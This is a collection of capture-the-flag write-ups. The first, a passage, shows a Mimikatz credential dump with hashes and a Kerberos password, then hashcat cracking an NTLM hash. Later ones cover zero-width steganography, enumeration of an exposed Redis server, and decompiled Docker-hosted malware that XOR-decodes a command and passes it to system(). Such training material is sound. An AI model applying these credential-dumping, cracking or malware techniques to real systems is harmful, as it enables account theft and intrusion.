Authentication Id : 0 ; 56287 (00000000:0000dbdf)Session : Interactive from 1User Name : DWM-1Domain : Window ManagerLogon Server : (null)Logon Time : 7/15/2022 12:35:27 PMSID : S-1-5-90-0-1 msv : [00000003] Primary * Username : WIN10$ * Domain : WINDOMAIN * NTLM : 08479832c8a49b1c7926a41005a2ae37 * SHA1 : 13b5af68e56a7b5e12dac129c829c14ac22e4022 tspkg : wdigest : * Username : WIN10$ * Domain : WINDOMAIN * Password : (null) kerberos : * Username : WIN10$ * Domain : windomain.local * Password : cm(kha)wk2Pc#b/+P2p$:ZU6_ury8i*8r;x]d=XHy(j[pWI[)Xz4=?!`xw<X@G'C.03]I(G:XU7NpIjIQWh9W&!u*Vd?tljcAH38!hW;zyi-^zX)0p;N6#B* ssp : credman : cloudap :
Authentication Id : 0 ; 996 (00000000:000003e4)Session : Service from 0User Name : WIN10$Domain : WINDOMAINLogon Server : (null)Logon Time : 7/15/2022 12:35:27 PMSID : S-1-5-20 msv : [00000003] Primary * Username : WIN10$ * Domain : WINDOMAIN * NTLM : 08479832c8a49b1c7926a41005a2ae37 * SHA1 : 13b5af68e56a7b5e12dac129c829c14ac22e4022 tspkg : wdigest : * Username : WIN10$ * Domain : WINDOMAIN * Password : (null) kerberos : * Username : win10$ * Domain : WINDOMAIN.LOCAL * Password : (null) ssp : credman : cloudap :
Authentication Id : 0 ; 34792 (00000000:000087e8)Session : Interactive from 0User Name : UMFD-0Domain : Font Driver HostLogon Server : (null)Logon Time : 7/15/2022 12:35:27 PMSID : S-1-5-96-0-0 msv : [00000003] Primary * Username : WIN10$ * Domain : WINDOMAIN * NTLM : 08479832c8a49b1c7926a41005a2ae37 * SHA1 : 13b5af68e56a7b5e12dac129c829c14ac22e4022 tspkg : wdigest : * Username : WIN10$ * Domain : WINDOMAIN * Password : (null) kerberos : * Username : WIN10$ * Domain : windomain.local * Password : cm(kha)wk2Pc#b/+P2p$:ZU6_ury8i*8r;x]d=XHy(j[pWI[)Xz4=?!`xw<X@G'C.03]I(G:XU7NpIjIQWh9W&!u*Vd?tljcAH38!hW;zyi-^zX)0p;N6#B* ssp : credman : cloudap :
Authentication Id : 0 ; 34683 (00000000:0000877b)Session : Interactive from 1User Name : UMFD-1Domain : Font Driver HostLogon Server : (null)Logon Time : 7/15/2022 12:35:27 PMSID : S-1-5-96-0-1 msv : [00000003] Primary * Username : WIN10$ * Domain : WINDOMAIN * NTLM : 08479832c8a49b1c7926a41005a2ae37 * SHA1 : 13b5af68e56a7b5e12dac129c829c14ac22e4022 tspkg : wdigest : * Username : WIN10$ * Domain : WINDOMAIN * Password : (null) kerberos : * Username : WIN10$ * Domain : windomain.local * Password : cm(kha)wk2Pc#b/+P2p$:ZU6_ury8i*8r;x]d=XHy(j[pWI[)Xz4=?!`xw<X@G'C.03]I(G:XU7NpIjIQWh9W&!u*Vd?tljcAH38!hW;zyi-^zX)0p;N6#B* ssp : credman : cloudap :
Authentication Id : 0 ; 33785 (00000000:000083f9)Session : UndefinedLogonType from 0User Name : (null)Domain : (null)Logon Server : (null)Logon Time : 7/15/2022 12:35:27 PMSID : msv : [00000003] Primary * Username : WIN10$ * Domain : WINDOMAIN * NTLM : 08479832c8a49b1c7926a41005a2ae37 * SHA1 : 13b5af68e56a7b5e12dac129c829c14ac22e4022 tspkg : wdigest : kerberos : ssp : credman : cloudap :
Authentication Id : 0 ; 999 (00000000:000003e7)Session : UndefinedLogonType from 0User Name : WIN10$Domain : WINDOMAINLogon Server : (null)Logon Time : 7/15/2022 12:35:27 PMSID : S-1-5-18 msv : tspkg : wdigest : * Username : WIN10$ * Domain : WINDOMAIN * Password : (null) kerberos : * Username : win10$ * Domain : WINDOMAIN.LOCAL * Password : (null) ssp : credman : cloudap :
mimikatz(commandline) # exitBye!HTTP/1.0 200 OKServer: BaseHTTP/0.6 Python/3.10.4Date: Fri, 15 Jul 2022 13:04:11 GMTContent-type: text/html
POST request for /```
We see that our primary user UnlockTheCity password is hashed in NTLM as c5c70d1571e4fcc0d818cceab3025fcf. So not quite plaintext but I suppose that is where the cracking part of this challenge comes in.
We have been told that the password policy for the domain is CTF{[ROCKYOU]_[ROCKYOU]!} where at [ROCKYOU] you are allowed to pick any word from the rockyou.txt list.
So with this information we can use hashcat to crack the password. First we duplicate the rockyou text file and change its contents to CTF{wordshere_ and wordshere} respectively to fit the password policy. Then we simply run hashcat using a combined dictionary attack with both files.
```phpC:\Users\Matilda\Downloads\hashcat-5.1.0>hashcat64.exe -m 1000 -a 1 password.txt rockyouBegin.txt rockyouEnd.txthashcat (v5.1.0) starting...
* Device #2: WARNING! Kernel exec timeout is not disabled. This may cause "CL_OUT_OF_RESOURCES" or related errors. To disable the timeout, see: https://hashcat.net/q/timeoutpatchADL_Overdrive_Caps(): -8
ADL_Overdrive_Caps(): -8
ADL_Overdrive_Caps(): -8
ADL_Overdrive_Caps(): -8
nvmlDeviceGetFanSpeed(): Not Supported
OpenCL Platform #1: Advanced Micro Devices, Inc.================================================* Device #1: gfx902, 4869/6240 MB allocatable, 7MCU
OpenCL Platform #2: NVIDIA Corporation======================================* Device #2: NVIDIA GeForce GTX 1660 Ti with Max-Q Design, 1535/6143 MB allocatable, 24MCU
Dictionary cache built:* Filename..: rockyouBegin.txt* Passwords.: 5975702* Bytes.....: 87025903* Keyspace..: 5975694* Runtime...: 1 sec
Dictionary cache built:* Filename..: rockyouEnd.txt* Passwords.: 5975702* Bytes.....: 69098797* Keyspace..: 5975695* Runtime...: 1 sec
Hashes: 1 digests; 1 unique digests, 1 unique saltsBitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Applicable optimizers:* Zero-Byte* Early-Skip* Not-Salted* Not-Iterated* Single-Hash* Single-Salt* Raw-Hash
Minimum password length supported by kernel: 0Maximum password length supported by kernel: 256
ATTENTION! Pure (unoptimized) OpenCL kernels selected.This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance.If you want to switch to optimized OpenCL kernels, append -O to your commandline.
Watchdog: Temperature abort trigger set to 90c
Dictionary cache hit:* Filename..: rockyouBegin.txt* Passwords.: 5975694* Bytes.....: 87025903* Keyspace..: 35708924757330
Driver temperature threshold met on GPU #2. Expect reduced performance.Driver temperature threshold met on GPU #2. Expect reduced performance.ass [c]heckpoint [q]uit =>Driver temperature threshold met on GPU #2. Expect reduced performance.
Cracking performance lower than expected?
* Append -O to the commandline. This lowers the maximum supported password- and salt-length (typically down to 32).
* Append -w 3 to the commandline. This can cause your screen to lag.
* Update your OpenCL runtime / driver the right way: https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power: https://hashcat.net/faq/morework
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>
Session..........: hashcatStatus...........: RunningHash.Type........: NTLMHash.Target......: c5c70d1571e4fcc0d818cceab3025fcfTime.Started.....: Wed Jul 20 20:17:47 2022 (14 secs)Time.Estimated...: Wed Jul 20 22:53:57 2022 (2 hours, 35 mins)Guess.Base.......: File (rockyouBegin.txt), Left SideGuess.Mod........: File (rockyouEnd.txt), Right SideSpeed.#1.........: 629.0 MH/s (3.75ms) @ Accel:64 Loops:32 Thr:256 Vec:1Speed.#2.........: 3182.1 MH/s (20.85ms) @ Accel:256 Loops:64 Thr:256 Vec:1Speed.#*.........: 3811.1 MH/sRecovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) SaltsProgress.........: 48844767232/35708924757330 (0.14%)Rejected.........: 0/48844767232 (0.00%)Restore.Point....: 0/5975694 (0.00%)Restore.Sub.#1...: Salt:0 Amplifier:71264-71296 Iteration:0-32Restore.Sub.#2...: Salt:0 Amplifier:25856-25920 Iteration:0-64Candidates.#1....: CTF{123456_brat!} -> CTF{022580_blaize!}Candidates.#2....: CTF{022579_010706!} -> CTF{jasonmae_ramadan!}Hardware.Mon.#1..: Util: 90% Core:1600MHz Mem: 400MHz Bus:16Hardware.Mon.#2..: Temp: 32c Util: 70% Core:1103MHz Mem: 644MHz Bus:8
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>
Session..........: hashcatStatus...........: RunningHash.Type........: NTLMHash.Target......: c5c70d1571e4fcc0d818cceab3025fcfTime.Started.....: Wed Jul 20 20:17:47 2022 (22 secs)Time.Estimated...: Wed Jul 20 22:51:43 2022 (2 hours, 33 mins)Guess.Base.......: File (rockyouBegin.txt), Left SideGuess.Mod........: File (rockyouEnd.txt), Right SideSpeed.#1.........: 685.3 MH/s (3.73ms) @ Accel:64 Loops:32 Thr:256 Vec:1Speed.#2.........: 3181.2 MH/s (20.79ms) @ Accel:256 Loops:64 Thr:256 Vec:1Speed.#*.........: 3866.5 MH/sRecovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) SaltsProgress.........: 82109792256/35708924757330 (0.23%)Rejected.........: 0/82109792256 (0.00%)Restore.Point....: 0/5975694 (0.00%)Restore.Sub.#1...: Salt:0 Amplifier:127872-127904 Iteration:0-32Restore.Sub.#2...: Salt:0 Amplifier:42880-42944 Iteration:0-64Candidates.#1....: CTF{123456_073079!} -> CTF{022580_07051989!}Candidates.#2....: CTF{022579_loves2!} -> CTF{jasonmae_johnny4!}Hardware.Mon.#1..: Util: 90% Core: 400MHz Mem: 400MHz Bus:16Hardware.Mon.#2..: Temp: 33c Util: 68% Core:1080MHz Mem: 635MHz Bus:8
c5c70d1571e4fcc0d818cceab3025fcf:CTF{city123_unlocked!}
Session..........: hashcatStatus...........: CrackedHash.Type........: NTLMHash.Target......: c5c70d1571e4fcc0d818cceab3025fcfTime.Started.....: Wed Jul 20 20:17:47 2022 (46 secs)Time.Estimated...: Wed Jul 20 20:18:33 2022 (0 secs)Guess.Base.......: File (rockyouBegin.txt), Left SideGuess.Mod........: File (rockyouEnd.txt), Right SideSpeed.#1.........: 770.4 MH/s (3.82ms) @ Accel:64 Loops:32 Thr:256 Vec:1Speed.#2.........: 3180.3 MH/s (21.21ms) @ Accel:256 Loops:64 Thr:256 Vec:1Speed.#*.........: 3950.8 MH/sRecovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) SaltsProgress.........: 176357900288/35708924757330 (0.49%)Rejected.........: 0/176357900288 (0.00%)Restore.Point....: 0/5975694 (0.00%)Restore.Sub.#1...: Salt:0 Amplifier:286976-287008 Iteration:0-32Restore.Sub.#2...: Salt:0 Amplifier:91136-91200 Iteration:0-64Candidates.#1....: CTF{123456_080526!} -> CTF{022580_0746255119!}Candidates.#2....: CTF{022579_viejito!} -> CTF{jasonmae_trese13!}Hardware.Mon.#1..: Util: 82% Core: 400MHz Mem: 400MHz Bus:16Hardware.Mon.#2..: Temp: 37c Util: 68% Core:1055MHz Mem: 625MHz Bus:8
Started: Wed Jul 20 20:17:19 2022Stopped: Wed Jul 20 20:18:35 2022```
Our result is c5c70d1571e4fcc0d818cceab3025fcf:CTF{city123_unlocked!} which is our final flag! |
# Challenge Description
The part of "**Some things are like ...**" is a hint that will definitely help us solving this Mystrey.So we open the link and we have this :

The funny thing about Misc Challenges (Sometimes annoying) is that you don't really know what are you looking for or what's the "Topic" until you Dive into the challenge.If we try to click the names we got a password check for "**Eyang**" and "**Kmathz**" and an image for "**HannaH**"
Next we try simply to view source to see if we can find anything :)The Code was pretty messy but in general we could undrestand everyting.The password check was somthing llike this :```(set: _password to "")\Enter password: (input-box: bind _password, "X====", 1)
(link: "Enter")[{ <script> for(let i = 0; i < 20000; i++){ _password = sjcl.codec.hex.fromBits(sjcl.hash.sha256.hash(_password)); } </script> (if: _password is "08ea0e583b971ca44a6f7c6bdfacc71f384a22f932723fe19b1e36d7e0d067ca")[ (go-to: "K_Correct") ] (else:)[ (go-to: "K_Incorrect") ]}]]```But here we have the "**K_Correct**" part for "**Kmathz**" and "**Correct**" for "**Eyang**"wich were in the code so we actually don't need any passwords :).Ok Now we have : 1. An image from "**HannaH**"2. A google drive link from "**Kmathz**" with this image :
3. A Youtube link that you should memorize (So you won't be rickrolled again ;) )# Rabbit hole :(I downloaded the imges and tried to find anything useful.By opening the images in a hexeditor or using any tool we can extract two file from them :* A zip File* And an RTF File
The RTF file seems to have an encrypted text :```Lt, iwt vgpcs yjgn du iwt RdstIxvtg rjai rdjgi wph gjats iwpi iwxh RdstIxvtg xh p ugpjs!! Wt wph qtigpnts iwt wdan igpsxixdch du iwt AtmBprh htrgti hdrxtin!!! WT BJHI QT TAXBXCPITSId pcn RdstIxvtg Adnpaxhih dji iwtgt: djg htrgti rdst xh rdsixvgt}```
wich is rot15 ,we decode it and we get :
```We, the grand jury of the CodeTiger cult court has ruled that this CodeTiger is a fraud!! He has betrayed the holy traditions of the LexMacs secret society!!! HE MUST BE ELIMINATEDTo any CodeTiger Loyalists out there: our secret code is codtigre}```
So probably the most interesting part is the secret code "**codtigre}**" That was a bit confusing becasue of the "}" wih look like part of flag or somthing.I just tried it as the flag but it was wrong.
Getting back to the zip file we just unzip it and we have another image :

OK! it seems to have eyang password written on it reversed.So the password is "**gn4YE**" which infact we don't need it to login as we said earlier but let's keep it any way.At this point I was pretty confused becauses I tried a lot of things and tools and I have even asked an admin if this "**codtigre}**" was relevant and he said **YES :(:(**# Zero WidthTried almost everything I just decided to start again from the beginning.My bad I didn't give the HINT my attention in the first time,because when I did inspect page I could notice some weird red dots in the source and eventually with the "zero mass ,or width ..." part of the hint that does ring a bell and That was the Zero-Width Characters Stego.So I just copied the part with the zero width Characters.```CodeTiger's dictatorship becomes more unbearable with each passing day. I hate every cell in his body. Every day, my blood boils as I witness him. LexMACS is an organization gathering the world's๏ปฟโโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโ โโโโโ โโโโโ โโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ๏ปฟ most ambitious and brightest programmers, yet we all suffocate under his iron first.```And using this script tooked from [MayADevBe Blog](https://mayadevbe.me/posts/zw_steg/)I was able Finally to get the flag.
```
bin_list = [" ","0","1"]char_list = ["\u2060", "\u200B", "\u200C"]
def encode(secret_text, open_text): bin_text = "" encoded_text = open_text bin_text = ' '.join(format(ord(x), 'b') for x in secret_text) for b in bin_text: encoded_text += char_list[bin_list.index(b)] return encoded_text
def decode(open_text): bin_text = "" for w in open_text: if w in char_list: bin_text += bin_list[char_list.index(w)] bin_val = bin_text.split() secret_text = "" for b in bin_val: secret_text += chr(int(b, 2)) return secret_text
text=open('source.txt','r').read()#You need to change the <0x> to \u print(decode(text))
```### Fun FactAfter I got the text I still got confused hh because of two things :1. Because of the Challenge name and everything I assumed that we are looking for a name or somthing hh2. When I tried to submit the flag the first time I missed a "T" in "LITCTF" hhh **again**# FLAG : `LITCTF{C0dEt1GeR_L1VES}`## N.B1.If we just take the binary from the code and you through it in online tool you wouldn't probably get the flag because the length wasn't 8 bit but 7 (somtimes 6 or less)So we need either to zfill it or just use a script. |
# Checking The Location Database
---
Medium | PPC | 50 Points
---
### Description
Can you connect to the vehicle database of our city?
---
### First Impressions
We are given the following link: tcp://portal.hackazon.org:17008
So time for some investigation on that address.
### NMAP output
```phpโโ$ nmap portal.hackazon.org -p17008 -sV -sCStarting Nmap 7.92 ( https://nmap.org ) at 2022-07-12 02:44 EDTNmap scan report for portal.hackazon.org (136.243.68.77)Host is up (0.30s latency).rDNS record for 136.243.68.77: static.77.68.243.136.clients.your-server.de
PORT STATE SERVICE VERSION17008/tcp open redis Redis key-value store
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 13.91 seconds```
We find a redis store. I have no idea what a redis store is so to HackTricks! [Information here](https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis).
So lets get some info from this redis store.
```phpโโ$ nc -vn 136.243.68.77 17008 (UNKNOWN) [136.243.68.77] 17008 (?) openinfo
```
We see the following in the info
```bash# Keyspacedb0:keys=1002,expires=0,avg_ttl=0```
According to hacktricks, this means we have one database inside. We can connect with SELECT 0 and view all keys with KEYS *. I wonโt copy all the keys here since there are 1002 of them but a search through the results unveils a _flag key! Very suspicious. And sure enough, if we GET that key, we get our flag for the first part of this challenge!
```phpGET _flag$25CTF{DGErbbodqEeHQhjeDs8g}```
# WHAT IS GOING IN WITH THE AI?
---
Medium | PPC | 200 points
---
## Description
Can you find out what the AI is doing? The city is almost paralized with fear, every second counts!
---
So we have the hint that โevery second counts!โ which from examining the redis store over time, seems to mean that the data in this redis store is changing every second. We can also see that the data in the redis store consists of a number plate and a longitude and latitude coordinate as the following data sample shows.
```bash
2) "aa6c480e-1a14-4cc0-80c1-2e9622e1aabc" 3) 1) "$" 2) "{\"number_plate\":\"PI-65-GB\",\"longitude\":-122,\"latitude\":-75}"
```
So, presumably, we need to graph out how the data changes over time. So the easiest way to do that is to create a script to export all the data into a .csv for easy graphing. I did this scripting in two parts. First I made a C++ script to get all the coordinates at one point in time and then I made a bash script to run that C++ program every second for 60 seconds and place the output it gets into a csv file.You can find the C++ script named as โRetreiveData.cppโ and the bash script as โGetDataOverTime.shโ in this github repo.
If we graph our resulting csv, we get a massive graph and if we zoom in a bit, we see the following message! Our flag is CTF{DHXW8neRvQU9PUCfPW5k}
 |
## PROTECT THE SUPPLY
---
Hard | Linux, Forensics | 250 points
---
### Description
After the day that the A.I went rouge everything has changed in our society even simple and micro services have changed. Our Hacky University and our Hacky Factory has changed and something looks out of place...
Can you see why we no longer feel at home in our own container?
Get started:
```phpsudo docker run -ti hackazon/micro_ghost /bin/sh```
Can you identify why ever since the attack our container felt off?
---
### First Impressions
Once we run our command, we end up in a docker container that looks like a typical linux system. However no amount of grep or strings finds us anything useful here. So I googled what sort of forensic tools exist for docker containers. I found a tool called dive which you can find more details of [https://gochronicles.com/dive/](https://gochronicles.com/dive/) here.
I used dive using the following command:
```phpsudo dive hackazon/micro_ghost```
Once I did, I got a gui that shows us how the files in the container changed:

The final change was that a file called libc.so.evil.6 was removed from opt/ after being run. Seems strange.
We can use docker commands to save our container into a tar file.
```phpdocker save --output hackazon/micro_ghost.tar hackazon/micro_ghost```
Once we open our tar file, we see many folders with garble for names. But looking back in dive, we see that each of these folders corresponds to an image id. So if we navigate to any folder, we are able to see the files that changed in that image! Using this we can easily retrieve the libc.so.evil.6 and save it to our computer.
We can try running the file but I donโt suggest you try that.. it is malware.
Instead, we can examine libc.so.evil.6 in ghirda. When we do, we discover two functions.
```phpundefined8 FUN_0010124b(void)
{ char sent2; undefined local_47; undefined local_46; undefined local_45; undefined local_44; undefined local_43; undefined local_42; undefined local_41; undefined local_40; undefined local_3f; undefined local_3e; undefined local_3d; undefined local_3c; undefined local_3b; undefined local_3a; undefined local_39; undefined local_38; undefined local_37; undefined local_36; undefined local_35; undefined local_34; char sent1; undefined local_27; undefined local_26; undefined local_25; undefined local_24; undefined local_23; undefined local_22; undefined local_21; undefined local_20; undefined local_1f; undefined local_1e; undefined local_1d; undefined local_1c; undefined local_1b; undefined local_1a; undefined local_19; undefined local_18; undefined local_17; undefined local_16; undefined local_15; undefined local_14; undefined local_13; char *local_10; somearray = (undefined *)malloc(0xa8); local_10 = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaay aaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaa" ; sent1 = 'T'; sent2 = 'R'; local_46 = 0x61; local_25 = 0x61; local_45 = 0x6c; local_24 = 0x6c; local_1d = 0x20; local_3d = 0x41; local_1c = 0x41; local_3c = 0x20; somearray[0x9b] = 0x40; somearray[0x9c] = 0x54; somearray[0x9d] = 4; somearray[0x9e] = 2; somearray[0x9f] = 10; somearray[0xa0] = 0x1f; somearray[0xa1] = 0x41; somearray[0xa2] = 0x43; somearray[0xa3] = 0x25; somearray[0xa4] = 0x36; somearray[0xa5] = 0x43; somearray[0xa6] = 0x5a; somearray[0xa7] = 0; FUN_00101208(); local_44 = 0x6c; local_41 = 0x4e; local_20 = 0x4e; local_40 = 0x6f; local_1f = 0x6f; local_3f = 0x74; local_1e = 0x74; local_3e = 0x20; local_27 = 0x6f; somearray[0x4d] = 0; somearray[0x4e] = 0xd; somearray[0x4f] = 5; somearray[0x50] = 0x1a; somearray[0x51] = 0xc; somearray[0x52] = 0; somearray[0x53] = 8; somearray[0x54] = 0x18; somearray[0x55] = 0x4f; somearray[0x56] = 5; somearray[0x57] = 4; somearray[0x58] = 0x1b; somearray[0x59] = 0x5b; somearray[0x5a] = 0x4e; somearray[0x5b] = 0x18; somearray[0x5c] = 0x1d; somearray[0x5d] = 4; somearray[0x5e] = 0x15; somearray[0x5f] = 0x3e; somearray[0x60] = 0x1d; somearray[0x61] = 0; somearray[0x62] = 0x15; somearray[99] = 0; somearray[100] = 0x55; somearray[0x65] = 0x5a; somearray[0x66] = 0x17; somearray[0x67] = 0x50; somearray[0x68] = 0x5f; somearray[0x69] = 0x43; somearray[0x6a] = 0x54; somearray[0x6b] = 10; somearray[0x6c] = 0x50; somearray[0x6d] = 0x3e; somearray[0x6e] = 0x54; somearray[0x6f] = 0x17; somearray[0x70] = 0x14; somearray[0x71] = 0x11; somearray[0x72] = 0x2d; somearray[0x73] = 0x1b; somearray[0x74] = 0x3a; somearray[0x75] = 0x43; somearray[0x76] = 0x5a; somearray[0x77] = 0x10; somearray[0x78] = 0xb; somearray[0x79] = 0x41; somearray[0x7a] = 4; somearray[0x7b] = 0x1a; somearray[0x7c] = 1; somearray[0x7d] = 0x4f; somearray[0x7e] = 0x1b; somearray[0x7f] = 0xb; somearray[0x80] = 0x18; somearray[0x81] = 0x5a; somearray[0x82] = 0x17; somearray[0x83] = 0x51; somearray[0x84] = 0x54; somearray[0x85] = 0x43; somearray[0x86] = 0x22; somearray[0x87] = 10; somearray[0x88] = 0x5e; somearray[0x89] = 0x50; somearray[0x8a] = 0xf; somearray[0x8b] = 0x3d; somearray[0x8c] = 0x5a; somearray[0x8d] = 0x54; local_47 = 0x65; local_26 = 0x74; local_23 = 0x6c; local_43 = 0x79; local_22 = 0x79; local_42 = 0x20; local_21 = 0x20; local_1b = 0x20; local_3b = 0x4d; somearray[0x8e] = 0x3e; somearray[0x8f] = 0x55; somearray[0x90] = 4; somearray[0x91] = 0x52; somearray[0x92] = 0x3e; somearray[0x93] = 0x29; somearray[0x94] = 0x4e; somearray[0x95] = 0x38; somearray[0x96] = 0x40; somearray[0x97] = 0x43; somearray[0x98] = 0x4f; somearray[0x99] = 0x40; somearray[0x9a] = 0x1c; local_1a = 0x4d; local_3a = 0x61; local_19 = 0x61; local_39 = 0x6c; local_18 = 0x6c; local_38 = 0x77; FUN_001011f2(); local_17 = 0x77; local_37 = 0x61; local_16 = 0x61; *somearray = 4; somearray[1] = 2; somearray[2] = 9; somearray[3] = 0xe; somearray[4] = 0x42; somearray[5] = 0x43; somearray[6] = 0x2f; somearray[7] = 0xe; somearray[8] = 0x13; somearray[9] = 4; somearray[10] = 0x43; somearray[0xb] = 0x5a; somearray[0xc] = 0x12; somearray[0xd] = 0x50; somearray[0xe] = 0x5c; somearray[0xf] = 0x43; somearray[0x10] = 0x26; somearray[0x11] = 0x35; somearray[0x12] = 0x27; somearray[0x13] = 0x1a; somearray[0x14] = 0x25; somearray[0x15] = 0x51; somearray[0x16] = 0xf; somearray[0x17] = 0x56; somearray[0x18] = 0x15; somearray[0x19] = 0x51; somearray[0x1a] = 0x2d; somearray[0x1b] = 0xd; somearray[0x1c] = 0x59; somearray[0x1d] = 0x2f; somearray[0x1e] = 0x26; somearray[0x1f] = 0x3e; somearray[0x20] = 0x4b; somearray[0x21] = 0x5a; somearray[0x22] = 0x1b; somearray[0x23] = 8; somearray[0x24] = 0x1a; somearray[0x25] = 0x41; somearray[0x26] = 0x4c; somearray[0x27] = 0x13; somearray[0x28] = 0x4b; somearray[0x29] = 4; somearray[0x2a] = 0x19; somearray[0x2b] = 7; somearray[0x2c] = 0x42; somearray[0x2d] = 0x1b; somearray[0x2e] = 8; somearray[0x2f] = 0x11; somearray[0x30] = 0x4d; somearray[0x31] = 0x4e; somearray[0x32] = 0x13; somearray[0x33] = 0xe; somearray[0x34] = 1; somearray[0x35] = 0x15; somearray[0x36] = 0x4e; somearray[0x37] = 0x5a; somearray[0x38] = 0x1c; somearray[0x39] = 2; somearray[0x3a] = 0x11; somearray[0x3b] = 0x41; somearray[0x3c] = 0x15; somearray[0x3d] = 0x19; somearray[0x3e] = 7; somearray[0x3f] = 0x4f; somearray[0x40] = 0xb; somearray[0x41] = 8; somearray[0x42] = 0x11; somearray[0x43] = 0x41; somearray[0x44] = 0; somearray[0x45] = 0xe; somearray[0x46] = 0xe; somearray[0x47] = 0x15; somearray[0x48] = 0x33; somearray[0x49] = 2; somearray[0x4a] = 0x53; somearray[0x4b] = 0x4f; somearray[0x4c] = 0x19; local_36 = 0x72; local_15 = 0x72; local_35 = 0x65; local_14 = 0x65; local_34 = 0; local_13 = 0; puts(&sent1); puts(&sent2); FUN_00101169(local_10,&sent1); return 0;}```
```phpvoid FUN_00101169(char *param_1)
{ char *__command; size_t sVar1; int local_1c; __command = (char *)malloc(0xa8); local_1c = 0; while( true ) { sVar1 = strlen(param_1); if (sVar1 <= (ulong)(long)local_1c) break; __command[local_1c] = param_1[local_1c] ^ *(byte *)(local_1c + somearray); local_1c = local_1c + 1; } system(__command); return;}```
